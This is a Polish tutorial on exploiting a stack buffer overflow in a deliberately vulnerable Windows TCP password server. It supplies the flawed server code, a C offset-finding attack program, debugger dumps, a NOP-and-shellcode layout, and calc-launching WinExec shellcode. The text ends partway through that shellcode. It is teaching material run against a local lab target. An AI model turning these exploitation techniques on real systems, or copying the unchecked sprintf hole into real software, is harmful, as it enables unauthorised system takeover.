|
Buffer Overflow w
Windows, symulacja wlamania
do systemu wykorzystując
błąd usługi sieciowej.
by h07
(h07@interia.pl) -=www.h07.int.pl=-
Intro.
Większość
exploitów wykorzystujących przepełnienie bufora na stosie
nadpisuje
adres powrotu zmieniając tym samym sterowanie i wykonujac
skok do
kodu powłoki (shellcode) znajdującego sie w buforze atakowanego programu.
Każdy
proces w systemie Windows posiada przypisaną mu procedure obsługi
wyjątków,
która uruchamiana jest gdy program wykona nieprawidlowe operacje.
Taki
mechanizm w znacznym stopniu może utrudnić hakerowi dokonanie włamania.
Załóżmy
ze przepełniając bufor na stosie w celu nadpisania adresu powrotnego
nadpiszemy
tez inne zmienne. Spowoduje to naruszenie ochrony pamięci
i
wywołanie procedury obsługi wyjątków danego procesu. Najprawdopodobniej
proces
zostanie zakończony i stracimy szanse wykonania skoku do kodu powłoki
znajdującego
sie w buforze. Problem ten można rozwiązać nadpisując strukturę
EXCEPTION_REGISTRATION
ale nie ten temat stanowi motyw przewodni tego
artykułu.
Takie i inne atrakcje czekają na hakerów zajmujących sie wyszukiwaniem
luk i
exploitacją w systemie Windows.
Artykul
ten stanowi doskonałą pożywkę dla początkujących hakerów
rozpoczynających
przygode z exploitacją w systemie Windows.
Środowisko pracy.
Zanim
przejdziemy do sedna sprawy musimy uzbroic sie w szereg narzędzi...
Dev C++ :
Darmowe środowisko programistyczne C/C++ oparte na kompilatorze GCC.
NetCat
(nc.exe) : "Scyzoryk TCP/IP" Program pozwalający wysyłać lub odbierac
dowolne
dane.
NASM :
Netwide Assembler. Darmowy Assembler dla procesorów x86.
Jesli
będziemy chcieli stworzyć własny kod powłoki NASM okaże sie niezastąpiony.
GetAdr :
Program mojego autorstwa wyświetlający adresy funkcji i bibliotek.dll.
Bardzo
przydatny podczas tworzenia kodu powłoki w systemie Windows.
GDB : GNU
Debugger. Darmowy program uruchomieniowy
OllyDbg :
Program uruchomieniowy analizujący wybrany proces.
Jedno z
najlepszych darmowych narzędzi analizujących w systemie Windows.
Warunki wstępne.
Zadaniem
które zostanie tu opisane krok po kroku będzie wykorzystanie
slabego
punktu w prostym serwerze TCP w taki sposób by przejąc
kontrole
nad systemem.
Kod
źródłowy serwera.
//serv.c
#include
<stdio.h>
#include
<windows.h>
#define
PORT 400
char
buffer[512] = "initialization";
void
pass_fail()
{
char
tmp[400];
sprintf(tmp,
"Access denied, bad password: %s", buffer);
strcpy(buffer,
tmp);
}
int
main()
{
int
sock, acp, i;
struct
sockaddr_in server;
int
len = sizeof(struct sockaddr);
WSADATA
wsa;
printf("Server
ready..\n");
conn_acp:
i
= 0;
WSAStartup(MAKEWORD(2,0),&wsa);
sock
= socket(PF_INET, SOCK_STREAM, 0);
server.sin_port
= htons(PORT);
server.sin_addr.s_addr
= INADDR_ANY;
server.sin_family
= PF_INET;
bind(sock,
(struct sockaddr*)&server, len);
listen(sock,
1);
acp
= accept(sock, (struct sockaddr*)&server, &len);
repeat:
if(i
== 3)
{
WSACleanup();
goto conn_acp;
}
i++;
send(acp,
"\nEnter password\n", 16, 0);
memset(&buffer,
0, sizeof(buffer));
recv(acp,
buffer, sizeof(buffer) -1, 0);
if(strcmp(buffer,
"hello\n") == 0)
{
send(acp, "Password ok\n", 12, 0);
Sleep(1000);
}
else
{
pass_fail();
send(acp, buffer, strlen(buffer), 0);
goto repeat;
}
//inne
operacje..
return
0;
}
Pierwszym
krokiem jest kompilacja i uruchomienie serwera.
Pamiętajmy
by dolinkowac do projektu biblioteke libwsock32.a.
Po
uruchomieniu serwer nasłuchuje na porcie 400.
Jego
zadaniem jest przeprowadzenie weryfikacji hasła...
C:\>nc
-v localhost 400
DNS
fwd/rev mismatch: md5 != localhost
md5
[127.0.0.1] 400 (?) open
Enter
password
Ala
ma kota
Access
denied, bad password: Ala ma kota
Na
pierwszy rzut oka wszystko wygląda dobrze..
Jednak
przyjrzyjmy sie bliżej funkcji pass_fail() w kodzie źródłowym serwera.
Zastosowana
w niej funkcja sprintf()
nie sprawdza ilości
kopiowanych danych do bufora tmp.
Zatem
wprowadzając zbyt długie hasło przepełnimy bufor tmp doprowadzając do
nadpisania
danych
znajdujących sie na stosie. Istnienie ów luki w serwerku potwierdzimy wysyłając
za pomocą
NetCat'a 400 znaków "A". W tym celu tworzymy na dysku C:\ plik
buffer.txt
i
umieszczamy w nim odpowiednio długi łańcuch znakowy..
C:\>gdb
serv
C:\>more
buffer.txt
C:\>nc
-v localhost 400 < buffer.txt
DNS
fwd/rev mismatch: md5 != localhost
md5
[127.0.0.1] 400 (?) open
Enter
password
Program
received signal SIGSEGV, Segmentation fault.
0x41414141
in ?? ()
(gdb)
info reg
eax 0x403010 4206608
ecx 0x22fda0 2293152
edx 0x81ef0041 -2115043263
ebx 0x7ffd9000 2147323904
esp 0x22fd90 0x22fd90
ebp 0x41414141 0x41414141
esi 0x350680 3475072
edi 0x0 0
eip 0x41414141 0x41414141
eflags 0x10206 66054
cs 0x1b 27
ss 0x23 35
ds 0x23 35
es 0x23 35
fs 0x3b 59
gs 0x0 0
fctrl 0xffff037f -64641
fstat 0xffff0000 -65536
ftag 0xffffffff -1
fiseg 0x0 0
fioff 0x0 0
foseg 0xffff0000 -65536
fooff 0x0 0
Udało nam
sie nadpisac adres powrotu wartością 41414141 ("A" = hex 41).
Utwierdza
to nas w przekonaniu ze luka naprawde istnieje ale by stanowiła ona
zagrozenie
dla bezpieczensta systemu musimy sie dzięki niej włamać.
Plan działania.
Przystępując
do pisania exploitu musimy zaplanować sposób jego działania.
-Zadanie
realizowane przez exploit musi zostac wykonane jak najprosciej.
-Jesli
przepełniamy bufor na stosie zadbajmy o to by exploit nie nadpisywal
danych
znajdujących sie za adresem powrotnym (RET) umieszczonym na stosie.
_EBP__RET_
----> | | |
[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA] -- Bufor wprowadzony przez
exploit
| | | |
| | | |
|--------------------------|------------------|
| bufor programu stos |
| |
<---------------------------------------->
Optymalna długość bufora
-Stosowany
kod powłoki powinien byc jak najmniejszy i działać na większości systemów.
-Exploit
nie powinien destabilizować atakowanego systemu.
Dzięki
poniższemu programowi ustalimy optymalną długość bufora.
//num.c
#include
<stdio.h>
#include
<windows.h>
#define
BUFF_SIZE 1000
#define
HOST "localhost"
#define
PORT 400
#define
RET 0x42424242
int
main(int argc, char *argv[])
{
char
buffer[BUFF_SIZE];
int
sock, len, numbytes;
struct
hostent *he;
struct
sockaddr_in client;
WSADATA
wsa;
WSAStartup(MAKEWORD(2,0),&wsa);
if(argc
== 1) exit(0);
numbytes
= atoi(argv[1]);
if((he
= gethostbyname(HOST)) == NULL)
{
printf("[-] Unable to resolve\n");
exit(1);
}
if((sock
= socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("[-] Socket error\n");
exit(1);
}
client.sin_family
= AF_INET;
client.sin_port
= htons(PORT);
client.sin_addr
= *((struct in_addr *)he->h_addr);
if(connect(sock,
(struct sockaddr *)&client, sizeof(struct sockaddr)) < 0)
{
printf("[-] Connect error\n");
exit(1);
}
memset(buffer,
'A', numbytes -4);
*((long*)(&buffer[numbytes
-4])) = RET;
send(sock,
buffer, strlen(buffer), 0);
recv(sock,
buffer, BUFF_SIZE -1, 0);
return
0;
}
Rozpoczynamy
śledzienie procesu serwera programem uruchomieniowym OllyDbg.
Jeśli
rejestr EIP przyjmie wartość 42424242 znaczy to ze dlugosc bufora jest
optymalna..
C:\>num
387
EAX
00403010 ASCII "Access denied, bad password:
ECX
0022FD94
EDX
003D00FF
EBX
7FFDE000
ESP
0022FD90
EBP
41414141
ESI
00390031
EDI
00360035
EIP
42424242
Po kilku
próbach uruchamiania programu num okazało sie ze optymalna długość bufora to
387 bajtów.
Reasumujmy..
Bufor tmp
aplikacji serwera ma pojemnosc 400 bajtów.
Funkcja sprintf() kopiuje do niego łańcuch znakowy
"Access
denied, bad password: " o długości 29 bajtów a
następnie
nasze hasło o długości 387 bajtów.
Razem
daje to nam 416 bajtów, które wprowadzone do bufora tmp nadpisują
adres
powrotny.
Spójrzmy
na zawartość globalnego bufora ulokowanego w stercie pamieci..
Memory
map:
00403000 01 00 00 00 10 25 3D 00 00 00 00 00 00 00 00
00 _..._%=.........
00403010 41 63 63 65 73 73 20 64 65 6E 69 65 64 2C 20
62 Access denied, b
00403020 61 64 20 70 61 73 73 77 6F 72 64 3A 20 41 41
41 ad password: AAA
00403030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
00403040 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
00403050 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
00403060 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
00403070 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
00403080 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
00403090 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
004030A0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
004030B0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
004030C0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
004030D0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
004030E0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
004030F0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
00403100 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
00403110 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
00403120 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
00403130 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
00403140 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
00403150 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
00403160 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
00403170 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
00403180 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
00403190 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
004031A0 41 41 41 41 41 41 41 41 41 41 41 41 42 42 42
42 AAAAAAAAAAAABBBB
Zanim
ramka funkcji pass_fail()
zostanie zdjęta ze
stosu a sterowanie zostanie
przekazane
w odpowiednie miejsce, do bufora "buffer" ulokowanego na stercie
trafia
zawartośc
bufora "tmp" za sprawą funkcji strcpy(buffer, tmp); .
Daje to
nam możliwośc wykonania kodu znajdującego sie na stercie nadpisując
adres
powrotu adresem bufora "buffer".
Dysponując
tymi danymi możemy zaplanowac działanie exploitu..
[N] - NOP
[S] -
Shellcode
[R] - RET
416 bajtów
|<-------------------------------------->|
| |
| _EBP__RET_---0x00403030
----> | | |
[NNNNNNNNNSSSSSSSSSSSSSSSSSSSSSSSRRRR000000] -- Bufor wprowadzony przez
exploit
| | | |
| | | |
|--------------------------|------------------|
bufor "tmp" stos
|----------------------------------------|
[NNNNNNNNNSSSSSSSSSSSSSSSSSSSSSSSRRRR]
| |---> |
| | |
|----------------------------------------|
| globalny bufor "buffer"
|
|0x00403030
Shellcode.
Interfejs
Win32 korzysta z wielu bibliotek dll w których umieszczone są
funkcje
systemowe. Nie ma dla nas większego znaczenia czy w exploicie
zastosujemy
własny kod powłoki czy kod stworzony przez innego autora.
Ważne
natiomias jest byśmy rozumieli w jaki sposób działa ów kod powłoki.
Każda
funkcja w bibliotece dll ma swój adres.
Jeśli
chcemy wywołać jakąś funkcje np ExitProcess() z poziomu assemblera
to
wykonujemy rozkaz CALL powodujący skok do adresu wybranej przez nas funkcji.
Bardzo
przydatny w tym momencie staje sie program mojego autorstwa o nazwie GetAdr,
potrafiący
określic adres dowolnej funkcji znajdującej sie w danej bibliotece dll.
Jeśli
funkcja którą chcemy wywołać wymaga podania parametrów to odkładamy
je na
stosie rozkazem PUSH w odwrotnej kolejności.
Przykład
tworzenia kodu powłoki wykorzystującego funkcje WinExec().
C:\>getadr
kernel32.dll WinExec
[*]
getadr 1.0 -win32 address resolution program- by h07
[+]
WinExec is located at 0x7c86114d in kernel32.dll
[+]
C array: \x4d\x11\x86\x7c
C:\>getadr
kernel32.dll ExitProcess
[*]
getadr 1.0 -win32 address resolution program- by h07
[+]
ExitProcess is located at 0x7c81caa2 in kernel32.dll
[+]
C array: \xa2\xca\x81\x7c
;winexec.asm
Section
.text
global
_start
_start:
jmp
short cmd
shellcode:
xor
eax, eax
pop
esi
mov
[esi + 8], al
mov
ebx, 0x7c86114d ;WinExec()
push
eax ;0
push
esi ;"calc.exe"
call
ebx ;WinExec("calc.exe", 0);
xor
eax,eax
push
eax ;0
mov
ebx, 0x7c81caa2 ;ExitProcess();
call
ebx ;ExitProcess(0);
cmd:<
|